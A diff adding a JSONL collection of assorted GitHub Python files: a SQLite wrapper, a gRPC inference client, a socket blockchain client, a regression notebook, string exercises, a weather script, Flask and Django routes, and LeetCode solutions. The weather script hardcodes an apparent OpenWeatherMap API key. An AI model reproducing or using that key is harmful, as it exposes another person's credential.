diff --git "a/6375.jsonl" "b/6375.jsonl" new file mode 100644--- /dev/null +++ "b/6375.jsonl" @@ -0,0 +1,2106 @@ +{"seq_id":"408440144","text":"#!/usr/bin/env python\n\nimport sqlite3\nfrom datetime import datetime\nfrom time import time\n\ndef setup_db(database):\n\tdatabase.query_stats = {}\n\tdatabase.db = sqlite3.connect(\"casino.sqlite\", check_same_thread=False)\n\tdatabase.db.row_factory = row\n\tdatabase.db.execute(\"PRAGMA journal_mode = 'WAL'\")\n\ndef query(self, SQL, values=None, commit=True, allow_large_change=False, log_error=True):\n\tquery_type = SQL.split()[0]\n\tstart = time()\n\tquery_stat = self.query_stats.get(query_type, [0, 0])\n\n\tif values is not None and type(values) not in (tuple, list, dict):\n\t\tvalues = (values,)\n\t\n\tcursor = self.db.cursor(Cursor)\n\ttry:\n\t\tif values is None:\n\t\t\tcursor.execute(SQL)\n\t\telse:\n\t\t\tcursor.execute(SQL, values)\n\texcept Exception:\n\t\tif log_error:\n\t\t\tself.db.rollback\n\t\t\tprint('%s, %s'.format(SQL, values))\n\t\tcursor.close()\n\t\t\n\t\tquery_stat[0] += time() - start\n\t\tquery_stat[1] += 1\n\t\tself.query_stats[query_type] = query_stat\n\t\traise\n\t\n\tif not SQL.startswith((\"INSERT INTO\", \"INSERT OR IGNORE\")) and not allow_large_change and cursor.rowcount > 10:\n\t\tself.db.rollback\n\t\tcursor.close()\n\t\tquery_stat[0] += time() - start\n\t\tquery_stat[1] += 1\n\t\tself.query_stats[query_type] = query_stat\n\t\traise RuntimeError(\"Too many rows affected by change\")\n\n\tif SQL.startswith((\"SELECT\", \"PRAGMA\", \"EXPLAIN\")) or 'RETURNING' in SQL:\n\t\treturn_value = cursor\n\telse:\n\t\treturn_value = cursor.rowcount\n\t\tcursor.close()\n\t\tif commit:\n\t\t\tself.db.commit()\n\t\n\tquery_stat[0] += time() - start\n\tquery_stat[1] += 1\n\tself.query_stats[query_type] = query_stat\n\n\treturn return_value\n\ndef log_error_to_db(self, error, line):\n\tself.query(\"INSERT INTO error_log VALUES(?, ?, ?)\", (str(datetime.astimezone(datetime.now())).split('.')[0], error, str(line)))\n\ndef like_escape(self, text):\n\treturn text.replace('_', r'\\_').replace('%', r'\\%')\n\nclass CancelReplace:\n\tpass\n\nclass query_iter:\n\tdef __init__(self, cursor):\n\t\tself.cursor = cursor\n\t\tself.started = False\n\tdef __iter__(self):\n\t\treturn self\n\tdef __next__(self):\n\t\tif not self.started:\n\t\t\tif self.cursor.has_results():\n\t\t\t\tself.started = True\n\t\t\t\treturn self.cursor.first_result\n\t\t\traise StopIteration\n\t\trow = self.cursor.fetchone()\n\t\tif row is None:\n\t\t\traise StopIteration\n\t\treturn row\n\nclass Cursor(sqlite3.Cursor):\n\tdef __init__(self, *args, **kwargs):\n\t\tself.first_result = None\n\t\tself.results = None\n\t\tsuper(Cursor, self).__init__(*args, **kwargs)\n\n\tdef has_results(self):\n\t\tif self.first_result is None:\n\t\t\trow = self.fetchone()\n\t\t\tif row is None:\n\t\t\t\tself.first_result = False\n\t\t\telse:\n\t\t\t\tself.first_result = row\n\t\treturn bool(self.first_result)\n\n\tdef get_results(self):\n\t\tif self.results is None:\n\t\t\tif self.has_results():\n\t\t\t\tself.results = [self.first_result]\n\t\t\t\tself.results.extend(self.fetchall())\n\t\t\telse:\n\t\t\t\tself.results = []\n\n\tdef __bool__(self):\n\t\treturn self.has_results()\n\n\tdef __iter__(self):\n\t\tif self.results is not None:\n\t\t\treturn iter(self.results)\n\t\treturn query_iter(self)\n\n\tdef __str__(self):\n\t\tself.get_results()\n\t\treturn str(self.results)\n\n\tdef __repr__(self):\n\t\tself.get_results()\n\t\treturn repr(self.results)\n\n\tdef __getitem__(self, item):\n\t\tif not self.has_results():\n\t\t\traise KeyError\n\t\tif item == 0:\n\t\t\treturn self.first_result\n\t\tif type(item) is str:\n\t\t\treturn self.first_result[item]\n\t\tself.get_results()\n\t\treturn self.results[item]\n\n\tdef __len__(self):\n\t\tself.get_results()\n\t\treturn len(self.results)\n\nclass row(sqlite3.Row):\n\tdef __str__(self):\n\t\treturn str(dict(zip(self.keys(), list(self))))\n\tdef __repr__(self):\n\t\treturn repr(dict(zip(self.keys(), list(self))))","repo_name":"xFyrios/CasinoBot","sub_path":"casino/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"41366320772","text":"import grpc\nimport tensorflow as tf\nimport argparse\nimport numpy as np\nfrom PIL import Image\n\nfrom tensorflow_serving.apis import predict_pb2\nfrom tensorflow_serving.apis import prediction_service_pb2_grpc\n\n\ndef main():\n with open(args.crt, 'rb') as f:\n creds = grpc.ssl_channel_credentials(f.read())\n channel = grpc.secure_channel(args.server, creds)\n stub = prediction_service_pb2_grpc.PredictionServiceStub(channel)\n\n # Load the image and convert to RGB\n img = Image.open(args.image).convert('RGB')\n img = img.resize((224,224), Image.BICUBIC)\n img_array = np.array(img)\n img_array = img_array.astype(np.float32) /255.0\n\n # Create a request message for TensorFlow Serving\n request = predict_pb2.PredictRequest()\n request.model_spec.name = 'resnet'\n request.model_spec.signature_name = 'serving_default'\n request.inputs['input_1'].CopyFrom(\n tf.make_tensor_proto(img_array, shape=[1,224,224,3]))\n\n # Send the request to TensorFlow Serving\n result = stub.Predict(request, 10.0)\n\n # Print the predicted class and probability\n result = result.outputs['activation_49'].float_val\n class_idx = np.argmax(result)\n print('Prediction class: ', class_idx)\n print('Probability: ', result[int(class_idx)])\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--server', default='localhost:9000',\n help='Tenforflow Model Server Address')\n parser.add_argument('--crt', default=None, type=str, help='TLS certificate file path')\n parser.add_argument('--image', default='Siberian_Husky_bi-eyed_Flickr.jpg',\n help='Path to the image')\n args = parser.parse_args()\n\n main()","repo_name":"occlum/occlum","sub_path":"example/client/resnet_client_grpc.py","file_name":"resnet_client_grpc.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":1238,"dataset":"github-code","pt":"5"} +{"seq_id":"21914304098","text":"from time import time\nimport socket\n\ncurrent_node:int=5001\ns=socket.socket()\ns.connect(('127.0.0.1',current_node))\n\navailable_nodes=[5001,5002,5003]\n\ndef electNewLeader(available_nodes,current_node):\n l=len(available_nodes)\n i=available_nodes.index(current_node)\n if(i==(l-1)):\n current_node=available_nodes[0]\n else:\n current_node=available_nodes[i+1]\n return current_node\n\ntprev=time()\nwhile True:\n\n tcurr=time()\n if(tcurr-tprev>20):\n flag=\"Mine\"\n s.send(flag.encode())\n s.recv(1024)\n s.close()\n s=socket.socket()\n print(\"Leader Node switched\")\n found=0\n i=0\n while(i<10101010):\n i+=1\n while (found==0):\n current_node=electNewLeader(available_nodes,current_node)\n print(current_node)\n try:\n s.connect(('127.0.0.1',current_node))\n tprev=time()\n found=1\n continue\n except:\n found=0\n \n\n\n print(\"Please select an option: \")\n print(\"1: Add transaction\\n2: View Blockchain\\n3: View verified transactions\\n4: Exit\")\n choice=str(input(\"Enter code: \"))\n print('\\n')\n flag=\"\"\n\n if(choice == '1'):\n flag=\"Data\"\n s.send(flag.encode())\n data=input(\"Enter description: \")\n amount=input(\"Enter amount: \")\n print(\"\\n\\n\")\n\n new_tran=\"{},{},{}\".format(data,amount,time())\n s.send(new_tran.encode())\n\n elif(choice == '2'):\n flag=\"ShowChain\"\n s.send(flag.encode())\n size=s.recv(1024).decode('UTF-8')\n s.send(\"Next\".encode())\n size=int(size)\n while(size>0):\n print(s.recv(1024).decode())\n s.send(\"Next\".encode())\n size-=1\n print(\"\\n\\n\")\n\n elif(choice == '3'):\n flag=\"ShowTran\"\n s.send(flag.encode())\n size=s.recv(1024).decode('UTF-8')\n s.send(\"Next\".encode())\n size=int(size)\n while(size>0):\n size-=1\n if(size==0):\n break\n print(s.recv(1024).decode())\n s.send(\"Next\".encode())\n print(\"\\n\\n\")\n\n elif(choice == '4'):\n break\n\n else:\n print(\"Invalid Input\")\n continue\n ","repo_name":"abhigyandwiji/BChain-Assgn2","sub_path":"dexter.py","file_name":"dexter.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29666405374","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport numpy as np\nimport pandas as pd\nimport glob\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport seaborn as sns\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn import metrics\nfrom sklearn.metrics import mean_squared_error,r2_score\n\nimport os\n\n\n# In[6]:\n\n\ndef mydropna(mydatasets):\n print(\"in my dropna() func\")\n mytemp_datasets=dict()\n for city, dataset in mydatasets.items():\n mytemp_datasets[city]=dataset.dropna(axis=0,how=any)\n print(\"eksiltmeden önce\",city,\" dataset shape: \",dataset.shape)\n print(\"eksiltmeden sonra \",city, \" dataset shape: \",mytemp_datasets[city].shape)\n print()\n return mytemp_datasets\n\n\n# In[7]:\n\n\n#datasets=load_datasets()\ndataset=pd.read_csv(\"BeijingPM20100101_20151231.csv\")\n#print(datasets)\n\n\n# In[8]:\n\n\ndataset.drop(['PM_Dongsi','PM_Dongsihuan','PM_Nongzhanguan'],\n axis=1,\n inplace=True)\n\n\n# In[9]:\n\n\ndataset.head()\n\n\n# In[10]:\n\n\ndataset.dropna(axis=0,how=\"any\",inplace=True)\n\n\n# In[11]:\n\n\nlabebelEncoder=LabelEncoder()\n\n\n# In[12]:\n\n\ndataset['cbwd']=labebelEncoder.fit_transform(dataset['cbwd'])\n\n\n# In[13]:\n\n\nX=dataset.drop('PM_US Post',axis=1)\ny=dataset['PM_US Post']\n\n\n# In[14]:\n\n\nstandardScaler=StandardScaler()\nX_scaled=standardScaler.fit_transform(X)\n\n\n# In[15]:\n\n\nprint(\"X_scaled.shape: \",X_scaled.shape)\nprint(\"y.shape: \",y.shape)\n\n\n# In[16]:\n\n\ntrain_size=int(y.shape[0]*0.8)\ntest_size=y.shape[0]-train_size\nprint(\"train size: \",train_size)\nprint(\"test size:\",test_size)\n\n\n# In[17]:\n\n\nX_train=X_scaled[:train_size]\ny_train=y[:train_size]\nX_test=X_scaled[train_size:]\ny_test=y[train_size:]\n\n\n# In[18]:\n\n\nprint(\"X_train.shape: \",X_train.shape)\nprint(\"y_train.shape: \",y_train.shape)\nprint(\"X_test.shape: \",X_test.shape)\nprint(\"y_test.shape: \",y_test.shape)\n\n\n# In[19]:\n\n\nfrom sklearn.linear_model import LinearRegression\nlinearRegression=LinearRegression()\nlinearRegression.fit(X_train,y_train)\n\n\n# In[20]:\n\n\nr2=linearRegression.score(X_test,y_test)\nprint(\"R' skoru:{:.4f}\".format(r2))\n\n\n# In[21]:\n\n\ny_pred=linearRegression.predict(X_test)\n\n\n# In[22]:\n\n\nprint(\"Ortalama kare hatası:{:.4f}\".format(mean_squared_error(y_test,y_pred)))\n\n\n# In[23]:\n\n\nprint(\"R2 skoru:{:.4f}\".format(r2_score(y_test,y_pred)))\n\n\n# In[24]:\n\n\ndataset_na_dropped=mydropna(dataset)\n\n\n# In[26]:\n\n\n#for dataset_name,datasett in dataset_na_dropped.items():\nprint(\"Beijing şehrinde yer alan ölçüm istasyonlar:\")\nfor column in dataset.columns.values:\n if \"PM_\" in column:\n print(column)\nprint()\n\n\n# In[28]:\n\n\n#for dataset_name,dataset in dataset_na_dropped.items():\nprint(\"BEIJING veri setine ait ilk beş satır:\")\nprint(dataset.head())\n\n\n# In[33]:\n\n\n#dataset_only_USPostPM={}\n#for city,dat in dataset.item():\n # columns=list()\n # for column in dat.columns.values:\n # if 'PM' in column and \"US_POST\" not in column:\n # columns.append(column)\n #columns.append('No')\n #dataset_only_USPostPM[city]=dataset.drop(columns=columns)\ndataset.drop([\"No\"],axis=1, inplace = True)\n\n\n# In[34]:\n\n\ndataset.head()\n\n\n# In[35]:\n\n\ndataset.info()\n\n\n# In[36]:\n\n\nfrom sklearn.linear_model import LinearRegression\nlinearRegression=LinearRegression()\n\n\n# In[37]:\n\n\nprint(len(dataset))\n\n\n# In[38]:\n\n\nX=dataset.drop('PM_US Post',axis=1)\ny=dataset['PM_US Post']\n\n\n# In[39]:\n\n\ntrain_size=int(len(dataset)*0.8)\ntest_size=len(dataset)-train_size\nprint(\"eğitim örnek sayısı: \",train_size)\nprint(\"test örnek sayısı:\",test_size)\nprint(\"toplam:\",train_size+test_size)\n\n\n# In[40]:\n\n\nfrom sklearn.preprocessing import StandardScaler\nscaler=StandardScaler(copy=\"deep\")\nscaler.fit(X)\nX=scaler.transform(X)\n\n\n# In[41]:\n\n\nX_train=X[:train_size]\nX_test=X[train_size:]\ny_train=y[:train_size]\ny_test=y[train_size:]\n\n\n# In[42]:\n\n\nlinearRegression.fit(X_train,y_train)\ny_pred=linearRegression.predict(X_test)\nlinearRegression.score(X_test, y_test)\n\n\n# In[43]:\n\n\nn_results=100\nfig, ax=plt.subplots(2,1,figsize=(12,8))\nax[0].plot(y_test.values[:n_results], color=\"red\")\nax[1].plot(y_pred[:n_results], color=\"green\")\n\n\n# In[44]:\n\n\nprint(mean_squared_error(y_test, y_pred))\n\n\n# In[45]:\n\n\nprint(r2_score(y_test, y_pred))\n\n\n# In[54]:\n\n\n#KNN\nimport itertools\n#from matplotlib.ticker as ticker\nfrom matplotlib.ticker import NullFormatter\nfrom sklearn import preprocessing\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport numpy as np\n\ndataset.columns\n\n\n# In[58]:\n\n\nX=dataset[['year','month','day','hour','season','PM_US Post','DEWP','HUMI','PRES','TEMP','Iws','precipitation','Iprec']].values[0:5]\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"gultekinfatmaa/data_mining","sub_path":"hava_tahmini.py","file_name":"hava_tahmini.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5026957538","text":"# coding=utf-8\n# 点击计数\n\n# 导入Tkinter模块,将其重命名为tk\nimport Tkinter as tk\n\n# 创建窗口\nwindow = tk.Tk()\n\n# 记录按钮点击的次数\ncount = 0\n# 按钮点击调用此函数\ndef buttonClick():\n # 声明修改全局变量\n global count\n # 改变变量数值\n count = count + 1\n # 按钮点击后改变按钮的文字\n button.config(text=str(count))\n \n# 创建按钮,参数依次为位置(window窗口),按钮文字,点击响应(点击按钮调用buttonClick函数)\nbutton = tk.Button(window, text=\"Click me!\", command=buttonClick)\n\n# 计算按钮的大小和位置,并在窗口中显示按钮\nbutton.pack()\n\n# 主循环\nwindow.mainloop()","repo_name":"phoenixhu/python-exercise","sub_path":"Adventure-3/buttonCount.py","file_name":"buttonCount.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31876226737","text":"# 1. the user to enter a string and converts it to uppercase:\n\n# Prompt the user to enter a string and store the input in a variable called string.\n# Use the upper() method to convert the string to uppercase and store the result in a variable called uppercase_string.\n# Print the original string and the uppercase string using the print() function.\n\nstring = input(\"Enter a string: \")\n\n# Using the upper() method to convert the string to uppercase\nuppercase_string = string.upper()\n\nprint(\"Original String: \", string)\nprint(\"Uppercase String: \", uppercase_string)\n\n\n# 2. program that counts the number of words in a sentence:\n\n# Algorithm:\n\n# Define the sentence as a string and store it in a variable called sentence.\n# Use the split() method to split the sentence into words and store the result in a list called words.\n# Count the number of words in the list using the len() function and store the result in a variable called num_words.\n# Print the number of words in the sentence using the print() function.\n\nsentence = \"the quick brown fox jumps\"\n\n# Using the split() method to split the sentence into words\nwords = sentence.split()\n\n# Counting the number of words in the list\nnum_words = len(words)\n\nprint(\"Number of words in the sentence: \", num_words)\n\n\n# 3. counts the number of vowels in a string:\n\n# Prompt the user to enter a string using the input() function and store the result in a variable called string.\n# Define a set of vowels using the set() function and store the result in a variable called vowels.\n# Initialize a count variable to 0.\n# Loop through each character in the string using a for loop.\n# Check if the character is a vowel by using the in operator to check if it's in the set of vowels.\n# If the character is a vowel, increment the count variable by 1.\n# After looping through all the characters in the string, print the count using the print() function.\n\nstring = input(\"Enter a string: \")\n\n# Defining a set of vowels\nvowels = set(\"aeiouAEIOU\")\n\n# Initializing the count to 0\ncount = 0\n\n# Looping through each character in the string\nfor char in string:\n # Checking if the character is a vowel\n if char in vowels:\n count += 1\n\nprint(\"Number of vowels in the string: \", count)\n\n\n# 4. reversing a string using string manipulation:\n\n# Algorithm:\n\n# Prompt the user to enter a string using the input() function and store the result in a variable called string.\n# Use the slice notation [::-1] to reverse the string and store the result in a new variable called reversed_string.\n# Print the reversed_string variable using the print() function.\n\nstring = input(\"Enter a string: \")\n\n# Using slice notation to reverse the string\nreversed_string = string[::-1]\n\nprint(\"Reversed string: \", reversed_string)\n\n\n# 5. program that demonstrates how to find the repeated words in a string using split() and set():\n\n# Real-life scenario: finding repeated words in a string\nstring = \"The quick brown fox jumps over the lazy dog and the quick brown fox jumps over the lazy dog again.\"\n\n# Splitting the string into words using split() method\nwords = string.split()\n\n# Creating a set of unique words in the string\nunique_words = set(words)\n\n# Initializing a list to store the repeated words\nrepeated_words = []\n\n# Looping through the unique words and checking if they appear more than once in the original string\nfor word in unique_words:\n if words.count(word) > 1:\n repeated_words.append(word)\n\n# Printing the repeated words\nprint(\"The repeated words in the string are:\")\nfor word in repeated_words:\n print(word)\n\n\n# 6. counts the occurrence of each letter in the string and updates the dictionary with the count:\n\n# Defining a string\nstring = \"Hello World\"\n\n# Initializing an empty dictionary\ndictionary = {}\n\n# Looping through each character in the string\nfor char in string:\n # Updating the count of the character in the dictionary\n if char in dictionary:\n dictionary[char] += 1\n else:\n dictionary[char] = 1\n\n# Printing the string and the dictionary\nprint(\"String:\", string)\nprint(\"Dictionary:\", dictionary)\n\n\n# 7. len(): This function returns the length of a string\n\n# Accepting input from the user\nstring = input(\"Enter a string: \")\n\n# Getting the length of the string\nlength = len(string)\n\n# Displaying the length of the string\nprint(\"The length of the string is:\", length)\n\n\n# 8. upper(): This function returns a copy of the string with all the characters in uppercase.\n\n# Accepting input from the user\nstring = input(\"Enter a string: \")\n\n# Converting the string to uppercase\nuppercase_string = string.upper()\n\n# Displaying the uppercase string\nprint(\"Uppercase string:\", uppercase_string)\n\n\n# 9. lower(): This function returns a copy of the string with all the characters in lowercase.\n\n# Accepting input from the user\nstring = input(\"Enter a string: \")\n\n# Converting the string to lowercase\nlowercase_string = string.lower()\n\n# Displaying the lowercase string\nprint(\"Lowercase string:\", lowercase_string)\n\n\n# 10. strip(): This function removes any leading and trailing whitespace characters from the string.\n\n# Accepting input from the user\nstring = input(\"Enter a string: \")\n\n# Removing leading and trailing whitespace characters\nstripped_string = string.strip()\n\n# Displaying the stripped string\nprint(\"Stripped string:\", stripped_string)\n\n\n# 11. split(): This function splits the string into a list of substrings based on the specified separator.\n\n# Accepting input from the user\nstring = input(\"Enter a string: \")\n\n# Splitting the string into a list of substrings\nsubstrings = string.split()\n\n# Displaying the list of substrings\nprint(\"List of substrings:\", substrings)\n\n\n\n# 11. join(): This function joins the elements of a list into a single string using the specified separator.\n\n# Define a list of strings\nwords = ['hello', 'world', 'how', 'are', 'you']\n\n# Define the separator\nseparator = ' '\n\n# Join the strings using the separator\nresult = separator.join(words)\n\n# Print the resulting string\nprint(result)\n\n\n# 12.append(): This function is used to add an element to the end of a list.\n\n# Create a list\nmy_list = [1, 2, 3, 4, 5]\n\n# Add an element to the end of the list\nmy_list.append(6)\n\n# Print the updated list\nprint(my_list)\n\n\n#13. index(): This function is used to find the index of the first occurrence of an element in a list.\n\n# Create a list\nmy_list = ['apple', 'banana', 'cherry', 'banana', 'orange']\n\n# Find the index of the first occurrence of 'banana'\nindex = my_list.index('banana')\n\n# Print the index\nprint(index)\n\n\n# 14.insert(): This function is used to add an element to a list at a specific position.\n\n# Create a list\nmy_list = [1, 2, 3, 4, 5]\n\n# Add the number 0 to the beginning of the list\nmy_list.insert(0, 0)\n\n# Print the updated list\nprint(my_list)\n\n\n# 15. remove(): This function is used to remove the first occurrence of an element from a list.\n\n# Create a list\nmy_list = ['apple', 'banana', 'cherry', 'orange']\n\n# Remove 'banana' from the list\nmy_list.remove('banana')\n\n# Print the updated list\nprint(my_list)\n\n\n# 16. sort(): This function is used to sort the elements of a list in ascending order.\n\n# Create a list\nmy_list = [3, 2, 4, 1, 5]\n\n# Sort the list in ascending order\nmy_list.sort()\n\n# Print the sorted list\nprint(my_list)\n\n# 17. reverse(): This function is used to reverse the order of the elements in a list.\n\n# Create a list\nmy_list = [1, 2, 3, 4, 5]\n\n# Reverse the order of the elements in the list\nmy_list.reverse()\n\n# Print\n\n\n\n# 18. pop(): This function removes and returns the element at the specified index of the list. If no index is specified, it removes and returns the last element of the list\n\n\nfruits = ['apple', 'banana', 'cherry']\nremoved_fruit = fruits.pop(1)\nprint(fruits) # Output: ['apple', 'cherry']\nprint(removed_fruit) # Output: 'banana'\n\n\n# 19. count(): This function returns the number of times the specified element appears in the list.\n\nnumbers = [1, 2, 3, 4, 5, 2, 2]\ncount_of_twos = numbers.count(2)\nprint(count_of_twos) # Output: 3\n\n\n","repo_name":"athishhariharan/pythonrepo","sub_path":"prabha/string manipulation revision.py","file_name":"string manipulation revision.py","file_ext":"py","file_size_in_byte":7986,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"40775236504","text":"# importing the requests library\nimport requests\n#importing json\nimport json\n#import regex\nimport re\n#import exceptions\nimport time\n#import sleep\nfrom requests.exceptions import HTTPError\n\n#variables\napi_key = 'f4adc0ec01b0b796ad01f0b14b995da9'\napi_url = 'https://api.openweathermap.org/'\n\n#main function\ndef main():\n print('\\nWeatherBot v1.0 is here to assist you.')\n while True:\n zipcity = gatherlocation()\n itiszip = isitzip(zipcity)\n weather_response = api_post(itiszip, zipcity)\n if weather_response[1]:\n continue\n data_ext(weather_response[0], zipcity)\n tryagain = input(\"\\nWould you like to hack the satellites again Y/N? \")\n if tryagain.upper() != \"Y\":\n break\n #provide error response from site if given\n\n#Gather user info\ndef gatherlocation():\n zipcity = input(\"Please input a city name or zipcode: \")\n return zipcity.title()\n\n#check zipcode\ndef isitzip(zipcity):\n matched = re.match(\"^[0-9][0-9][0-9][0-9][0-9]\", zipcity)\n is_match = bool(matched)\n return is_match\n\n#return data based on zipcode or city\ndef api_post(itiszip, zipcity):\n errors = False\n if(itiszip):\n url = \"https://api.openweathermap.org/data/2.5/weather?zip=\" + zipcity + \"&appid=\" + api_key + \"&units=imperial\"\n else:\n url = \"https://api.openweathermap.org/data/2.5/weather?q=\" + zipcity + \"&appid=\" + api_key + \"&units=imperial\"\n try:\n response = requests.get(url)\n response.raise_for_status()\n print(\"\")\n print(\"Hacking global weather satellites...\")\n time.sleep(2)\n print(\"Connection successful. Readying display...\")\n time.sleep(2)\n print(\"Displaying now...\")\n time.sleep(2)\n except HTTPError as http_err:\n errors = True\n print(\"\\nYour connection was not successful or you have tried an invalid input. Please try again.\")\n #print(f'Error: {http_err}' + \"\\n\")\n except Exception as err:\n errors = True\n print(\"\\nYour connection was not successful you have tried an invalid input. Please try again.\")\n #print(f'Error: {err}' + \"\\n\")\n return [response, errors]\n\n#json data extraction - you will be assimilated\ndef data_ext(weather_response, zipcity):\n jsonResponse = weather_response.json()\n temp_is = jsonResponse[\"main\"][\"temp\"]\n #print(\"\")\n #print(\"Hacking global weather satellites...\")\n #time.sleep(2)\n #print(\"Connection successful. Readying display...\")\n #time.sleep(2)\n #print(\"Displaying now...\")\n #time.sleep(2)\n #your connection was successful/not successful\n print(\"\")\n print(zipcity)\n print(\"Temperature: \" + str(temp_is) + \" degrees\")\n print(\"Humidity: \" + str(jsonResponse[\"main\"][\"humidity\"]) + \"%\")\n print(\"Skies: \" + jsonResponse[\"weather\"][0][\"description\"].title())\n print(\"Windspeed: \" + str(jsonResponse[\"wind\"][\"speed\"]) + \" mph\")\n print(\"\\nThank you for using WeatherBot v1.0. Have a wonderful day.\")\n\n#program\nmain()\n","repo_name":"Sapphire-Rose/Random-Python","sub_path":"weathertest.py","file_name":"weathertest.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3032489323","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('new-location/', views.new_location),\n path('all-locations/', views.all_locations),\n path('all-categories/', views.all_categories),\n path('child-categories/', views.child_categories),\n path('new-category/', views.new_category),\n path('remove-category/', views.remove_category),\n path('import-data-gpx/',views.import_data_gpx ),\n path('trackpoints/', views.trackpoints),\n]\n","repo_name":"albergren/locTrack","sub_path":"locTrack/mapVisual/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26960865153","text":"#主页url配置\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns =[\n\n url(r'^$',views.welcome,name='welcome'),\n url(r'^home/$',views.home,name='home'),\n url(r'^download/(?P\\s+)/$',views.download,name='download'),\n]","repo_name":"docliang/graduate","sub_path":"math_web/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"30614608761","text":"import sys\nfrom flask import jsonify, request\nfrom flask_classful import FlaskView, route\nfrom core.services.publisher import Publisher\n\n\nclass Webhook(FlaskView):\n\n def __init__(self):\n self.pub = Publisher()\n\n\n @route('/create/data_product/', methods=['POST'])\n @route('/create/data_product//', methods=['POST'])\n def create_product(self, product):\n try:\n body = request.json\n\n if 'name' not in body or not body['name']:\n return jsonify({\n 'code': 'BAD_REQUEST',\n 'message': 'name is required'}), 400\n\n if 'owner' not in body or not body['owner']:\n return jsonify({\n 'code': 'BAD_REQUEST',\n 'message': 'owner is required'}), 400\n\n response = self.pub.producer(key=f'create_{product}', value=body)\n return jsonify(response), 200\n\n except Exception as e:\n error = f'{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}'\n print(error, file=sys.stderr, flush=True)\n return jsonify({\n 'code': 'INTERNAL_SERVER_ERROR',\n 'message': 'An unhandled error was ocurred'}), 500\n","repo_name":"analopes-creditas/poc_produtitas_flask","sub_path":"core/routes/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"46352596238","text":"class Solution(object):\n def averageOfLevels(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[float]\n \"\"\"\n self.dict = collections.defaultdict(list)\n self.dfs(root, 0)\n ans = []\n for key,val in sorted(self.dict.items()):\n average = float(sum(val)) / float(len(val))\n ans.append(average)\n return ans\n\n def dfs(self, root, level):\n if root is None:\n return\n self.dict[level].append(root.val)\n self.dfs(root.left, level + 1)\n self.dfs(root.right, level + 1)\n","repo_name":"Hieu-Minh-Phung/leetcode","sub_path":"src/tree/637.py","file_name":"637.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"43955034393","text":"class Solution:\n def makeGood(self, s: str) -> str:\n while True:\n to_del = []\n if len(s) > 1:\n prev = s[0]\n else:\n return s\n for i in range(1, len(s)):\n curr = s[i]\n if curr != prev and curr.lower() == prev.lower() and i-1 not in to_del:\n to_del.extend([i-1, i])\n prev = curr\n s = ''.join([letter for i,letter in enumerate(s) if i not in to_del])\n if not to_del:\n break\n return s","repo_name":"Aries298/LeetCode-Solutions","sub_path":"1544-make-the-string-great/1544-make-the-string-great.py","file_name":"1544-make-the-string-great.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"752717107","text":"from django import forms\nfrom .models import Donation, DonationUserAddress\n\n\nclass DonationForm(forms.ModelForm):\n\n class Meta:\n model = Donation\n fields = ('payment_method', 'donation_address', 'e20_wallet',\n 'tx_id', 'user')\n\n def __init__(self, request, *args, **kwargs):\n self.request = request\n super(DonationForm, self).__init__(*args, **kwargs)\n\n def save(self, commit=True):\n\n ret = super(DonationForm, self).save(commit=commit)\n\n if commit:\n # save address\n DonationUserAddress.objects.get_or_create(\n user=self.request.user,\n e20_wallet=ret.e20_wallet\n )\n\n return ret\n\n def clean_user(self):\n return self.request.user\n","repo_name":"UnruledLab/ICO-Full-Stack","sub_path":"donations/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36319746465","text":"##population\r\n##p0 = 1000. Increases 2% per year, 50 new people immigrate. Years for p(n)=1200\r\nimport math\r\ndef pop_increase():\r\n p = int(1000)\r\n year = 0\r\n while True:\r\n p = int(math.floor((p + 50) * (1.02)))\r\n print(p)\r\n if p >= 1500:\r\n print(year)\r\n break\r\n year = year + 1\r\npop_increase() 